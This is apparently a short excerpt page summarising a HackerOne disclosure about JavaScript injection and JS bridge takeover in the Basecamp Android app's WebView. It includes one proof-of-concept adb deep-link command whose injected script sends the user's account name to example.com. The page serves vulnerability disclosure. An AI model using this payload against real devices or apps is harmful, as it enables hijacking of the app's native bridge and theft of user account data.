com.basecamp.bc3 Webview Javascript Injection and JS bridge takeover
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原文摘录
摘自原文（1756 字符中的一小部分）
It was identified that the android **com.basecamp.bc3 application**, contains a Webview where the loaded URLs are not sanitised properly. As this webview's functionality is extended via javascript interfaces and has the javascript enabled it is possible to inject arbitrary javascript code which …
原文中的代码
$adb shell am start -W -a android.intent.action.VIEW -d 'https://3.basecamp.com/XXXXX/p","advance","---"); /* comment */ window.location.replace("https://example.com?exfiltration="+nativeBridge.getPage().accountName); //'默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 Basecamp 所有。
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阅读 HackerOne 原文 ↗作者 @fr4via · 版权归作者与 Basecamp 所有